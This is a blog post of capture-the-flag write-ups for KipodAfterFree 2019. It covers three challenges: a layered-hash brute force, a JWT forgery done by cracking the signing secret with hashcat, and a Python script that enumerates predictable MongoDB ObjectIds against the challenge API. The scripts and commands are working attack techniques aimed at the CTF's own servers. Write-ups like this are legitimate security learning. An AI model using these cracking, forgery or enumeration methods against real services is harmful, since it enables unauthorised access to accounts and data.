1 min read

KipodAfterFree CTF 2019: Write-ups

by Vihan Bhargava
  • CTF

Write-ups for the KipodAfterFree 2019 capture the flag.

Very interesting problems in this CTF of varying difficulty. Enjoyed working through them.

#Crypto

#BackHash

This was interesting. It replaces all instances of f1a9 with the flag. It outputs some hash but doesn’t appear to be simple md5/sha1. After some investigative work I identified it as:

  • Length 0(mod3)\equiv 0 \pmod{3}: MD5
  • Length 1(mod3)\equiv 1 \pmod{3}: SHA | MD5
  • Length 2(mod3)\equiv 2 \pmod{3}: B64 | SHA | MD5

To find a hash, I wrote a python script to go over a wordlist and find a word:

from base64 import b64encode
from hashlib import sha1, md5

def do_s(string):
    s = sha1()
    s.update(string)
    return s.hexdigest().encode('ascii')

def do_m(string):
    m = md5()
    m.update(string)
    return m.hexdigest().encode('ascii')

with open('rockyou.txt', 'rb') as f:
    for line in f:
        attempt = line.strip()

        res = {
            0: lambda: do_m(attempt),
            1: lambda: do_m(do_s(attempt)),
            2: lambda: do_m(do_s(b64encode(attempt)))
        }[len(attempt) % 3]()

        if b'f1a9' in res:
            print('{}: {}'.format(attempt, res))

hollywood appears to be such a string. Entering it gives KAF{Dn4k_f1a9z___much_f1a9_l0t5_h4ppy}.

#Web

I logged in with some random username. Here’s what we have:

Notice the "powered by JWT" label.
Notice the "powered by JWT" label.

This is the JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiY2xpY2tDb3VudGVyIjowLCJpYXQiOjE1NzY5ODc2MjAsImV4cCI6MTU3Njk4NzY1MH0.56lNehtlZUJo61ZsnRzwd1TgogV6mgL2X7j4i2isqKQ

I went to jwt.io to see what this contains:

Looks like it stores clicks
Looks like it stores clicks

So we can just change it to:

{
  "username": "admin",
  "clickCounter": 1000000,
  "iat": 1576987620,
  "exp": 1576987650
}

to set that we’ve already done one million clicks. We just need to get the password used to verify the integrity of the JWT which I’ve done using hashcat:

$ hashcat -a0 -m 16500 jwt.hash ./rockyou.txt
...:mypinkipod

So now I can use mypinkipod as the hash back on jwt.io and obtain a fixed JWT. Putting that back into cookie clicker I get the flag (KAF{koOK1E5_4rE_yUmmY_91Ve_mE_mOre}):

There's my flag!
There's my flag!

#Cat Space

This challenge was a bit confusing at first but automating it is key. In the code you’ll find a comment:

<!--
    API:
      - /asjson?id={picture_id}
    -->

additionally the webpage says it is powered by MongoDB. In the first picture, here’s the html:

<img id="p-5d8e5ebc54a43e28501d540f" src="/images/0.jpg">

5d8e5ebc54a43e28501d540f is the “ObjectId” in MongoDB. ObjectIDs have a specific format^[this has changed in new mongodb versions]:

  1. 4-byte unix time in seconds
  2. 3-byte machine id
  3. 2-byte process id
  4. 3-byte counter

So based on this, 0x5d8e5ebc is the time of the first database entry and our counter starts at 0x1d540f. I wrote a script to get the first 50 object IDs and fuzz about +200 the initial time. Here’s the script I wrote:

from multiprocessing import Pool
import requests

hash_start_time = 0x5d8e5ebc
hash_middle = '54a43e28501d54'
hash_start_id = 0x0f

# Try 200 times for each hash
num_hash_brutes = 200

def attempt_hash_offset(offset):
    hash_id = hash_start_id + offset
    for i in range(num_hash_brutes):
        test_hash = '{:08x}{}{:02x}'.format(hash_start_time+i, hash_middle, hash_id)
        url = 'http://ctf.kaf.sh:3010/asjson?id={}'.format(test_hash)
        result = requests.get(url).content.decode('utf8')
        if 'error' in result:
            continue

        print("{}: {}".format(offset, result))
        return offset
    print("{}: Not Found".format(offset))


if __name__ == '__main__':
    pool = Pool(8)

    # Find first 50 database items
    total_attempts = 50

    pool.map(attempt_hash_offset, range(0, total_attempts))

The script’s output:

0: {"_id":"5d8e5ebc54a43e28501d540f","url":"/images/0.jpg","caption":"Hello i'm Oscar 😹"}
1: {"_id":"5d8e5ebf54a43e28501d5410","url":"/images/1.jpg","caption":"Hello i'm Max 😽"}
... trimmed ...
17: {"_id":"5d8e5eec54a43e28501d5420","url":"/images/11.jpg","caption":"Hello i'm Puss 😼"}
22: {"_id":"5d8e5f1654a43e28501d5425","url":"/images/22.jpg","caption":"Hello i'm Lucky 😹"}
19: {"_id":"5d8e5f0154a43e28501d5422","url":"/images/17.jpg","caption":"KAF{c475_423_4w350m3}"}